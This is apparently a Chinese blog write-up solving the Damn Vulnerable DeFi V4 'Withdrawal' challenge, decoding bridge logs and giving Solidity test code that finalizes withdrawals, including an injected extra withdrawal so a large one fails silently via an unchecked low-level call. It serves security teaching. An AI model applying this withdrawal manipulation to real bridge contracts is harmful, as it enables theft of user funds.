Damn-vulnerable-defi-V4-solution(Withdrawal)
一、Withdrawal
背景:
我们有四个日志事件,分别对应以下内容:
event MessageStored(
bytes32 id, uint256 indexed nonce, address indexed caller, address indexed target, uint256 timestamp, bytes data
);其中第一个日志的topics内容如下
[
{
"topics": [
"0x43738d035e226f1ab25d294703b51025bde812317da73f87d849abbdbb6526f5",
"0x0000000000000000000000000000000000000000000000000000000000000000",
"0x00000000000000000000000087EAD3e78Ef9E26de92083b75a3b037aC2883E16",
"0x000000000000000000000000fF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5"
],
"data": "0xeaebef7f15fdaa66ecd4533eefea23a183ced29967ea67bc4219b0f1f8b0d3ba0000000000000000000000000000000000000000000000000000000066729b630000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000010401210a380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000000000000000000000000000008ac7230489e800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
},
...
]topics中的四行对应于事件签名和三个索引参数:nonce、caller和target。
// topic of first Log (same for all Logs except for nonce)
nonce: 0
caller: 0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16 // l2Handler
target: 0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5 // l1Forwarder第一个日志的data部分如下
// data from first Log
eaebef7f15fdaa66ecd4533eefea23a183ced29967ea67bc4219b0f1f8b0d3ba // id
0000000000000000000000000000000000000000000000000000000066729b63 // timestamp
0000000000000000000000000000000000000000000000000000000000000060 // offset
0000000000000000000000000000000000000000000000000000000000000104 // length
01210a38 // L1Forwarder.forwardMessage(uint256 nonce,
// address l2Sender, address target,bytes memory message)
0000000000000000000000000000000000000000000000000000000000000000 // nonce
000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac6 // l2Sender
0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd50 // target (l1TokenBridge)
0000000000000000000000000000000000000000000000000000000000000080 // offset
0000000000000000000000000000000000000000000000000000000000000044 // length
81191e51 // TokenBridge.executeTokenWithdrawal(address receiver, uint256 amount)
000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac6 // receiver
0000000000000000000000000000000000000000000000008ac7230489e80000 // amount 10e18
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000"检查其他三条日志的数据。事实证明,所有日志都对应于以下执行:
最后,TokenBridge.executeTokenWithdrawal调用的金额为 10e18。然而,对于第三个 Log,金额要大得多——9.99e23。初始交易TokenBridge量为 1e24 DVT。我们的目标是完成所有四笔交易,同时保留至少 99% 的 DVT。这似乎不可能,因为第三次提款金额为 9.99e23 DVT。然而,我们只需要完成提款;也就是说,我们实际上不需要担心调用是否成功。即使调用失败,由于我们使用了call,也不会导致 revert,代码将继续执行。
revert 的传播机制
EVM 提供了两种“失败方式”:
- 正常结束(STOP 或 RETURN) → 上层 CALL 的 success = 1。
- 异常结束(REVERT 或 INVALID / out-of-gas) → 上层 CALL 的 success = 0。
当 inner call 返回 success=0 时:
- 如果你是直接写 CALL(即 Solidity 里的低级 address.call(...)),那么结果就只是一个布尔值,除非你自己处理,否则不会影响当前执行。
- 如果你写的是“普通调用”(otherContract.foo()),Solidity 编译器在外层会自动检查 success,如果是 0,它会立刻发起一个 REVERT,把 returndata 原封不动返回给上层调用者。
// L1GateWay.sol
function finalizeWithdrawal(
uint256 nonce,
address l2Sender,
address target,
uint256 timestamp,
bytes memory message,
bytes32[] memory proof
) external {
if (timestamp + DELAY > block.timestamp) revert EarlyWithdrawal();
bytes32 leaf = keccak256(abi.encode(nonce, l2Sender, target, timestamp, message));
// Only allow trusted operators to finalize without proof
bool isOperator = hasAnyRole(msg.sender, OPERATOR_ROLE);
if (!isOperator) {
if (MerkleProof.verify(proof, root, leaf)) {
emit ValidProof(proof, root, leaf);
} else {
revert InvalidProof();
}
}
if (finalizedWithdrawals[leaf]) revert AlreadyFinalized(leaf);
// state changes before external call
finalizedWithdrawals[leaf] = true;
counter++;
xSender = l2Sender;
bool success;
assembly {
success := call(gas(), target, 0, add(message, 0x20), mload(message), 0, 0) // call with 0 value. Don't copy returndata.
}
xSender = address(0xBADBEEF);
emit FinalizedWithdrawal(leaf, success, isOperator);
}因此,我们的想法是先完成第一笔、第二笔和第四笔提现,然后再进行一次额外的提现,这样我们的余额就能保持在 1e24 DVT 的 99% 以上,但低于 99.9%。这样,我们就可以尝试执行第三次提现——即使我们没有足够的余额来完成它,第三次提现仍然会被完成。
这是我们的解决方案:我们执行三次最终提款(第一次、第二次和第四次)。
l1Gateway.finalizeWithdrawal(nonce, l2Hander, l1Forwarder, message)在我们的解决方案中,我们使用十六进制字符串作为消息,但它实际上意味着什么?例如,第一个日志:
message = abi.encodeCall(l1Forwarder.forwardMessage, (nonce, l2Sender, l1Gateway, abi.encodeCall(l1Gateway.executeTokenWithdrawal, (l2Sender, amount))为了最终完成,我们将第一、第二和第四次提款的金额分别设置为 10e18。在实际进行第三次提款之前,我们提取了 10e21(占所有代币的 0.1%)。由于剩余代币不足,因此无法提取 99.9%。之后,我们完成第三次提款,且不损失任何代币。
function test_withdrawal() public checkSolvedByPlayer {
bytes32[] memory proof = new bytes32[](0);
vm.warp(block.timestamp + 7 days + 212);
// Finalize first, second, fourth withdrawal
l1Gateway.finalizeWithdrawal(0, 0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16,
0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, 1718786915, hex"01210a380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000", proof);
l1Gateway.finalizeWithdrawal(1, 0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16,
0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, 1718786965, hex"01210a3800000000000000000000000000000000000000000000000000000000000000010000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e510000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000", proof);
l1Gateway.finalizeWithdrawal(3, 0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16,
0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, 1718787127, hex"01210a380000000000000000000000000000000000000000000000000000000000000003000000000000000000000000671d2ba5bf3c160a568aae17de26b51390d6bd5b0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000671d2ba5bf3c160a568aae17de26b51390d6bd5b0000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000", proof);
// Finalize an extra withdrawal before third withdrawal
l1Gateway.finalizeWithdrawal(2, 0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16,
0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, 1718787050, hex"01210a380000000000000000000000000000000000000000000000000000000000000002000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e00000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000000000000000000000000000000000000", proof);
// There are not enough tokens for withdrawal, so no tokens are withdrawn
l1Gateway.finalizeWithdrawal(2, 0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16,
0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, 1718787050, hex"01210a380000000000000000000000000000000000000000000000000000000000000002000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e00000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e000000000000000000000000000000000000000000000d38be6051f27c260000000000000000000000000000000000000000000000000000000000000", proof);
} 当前页面是本站的「Google AMP」版。查看和发表评论请点击:完整版 »